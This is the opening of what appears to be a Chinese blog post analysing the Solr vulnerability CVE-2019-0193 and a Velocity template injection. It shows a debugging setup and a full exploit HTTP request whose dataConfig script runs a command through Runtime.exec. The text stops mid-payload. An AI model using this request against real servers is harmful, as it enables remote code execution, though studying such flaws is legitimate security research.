solr 配置多个entity_详细分析Solr的CVE20190193以及velocity模板注入新洞

环境搭建

java "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000" -Dsolr.solr.home="../example/example-DIH/solr/" -jar start.jar --module=http

然后idea加远程调试9000端口，dist、server/lib文件夹加到library里。dist是solr的主要jar

首先是CVE-2019-0193

首先看exp

POST /solr/tika/dataimport HTTP/1.1

Host: 10.27.52.42:8983

Content-Length: 416

Content-type: application/x-www-form-urlencoded

Connection: close

command=full-import&dataConfig=

<dataConfig>

<dataSource type="URLDataSource"/>

<script>CDATA[ java.lang.Runtime.getRuntime().exec("open -a Calculator");

]]>script>

<document>

<entity name="a"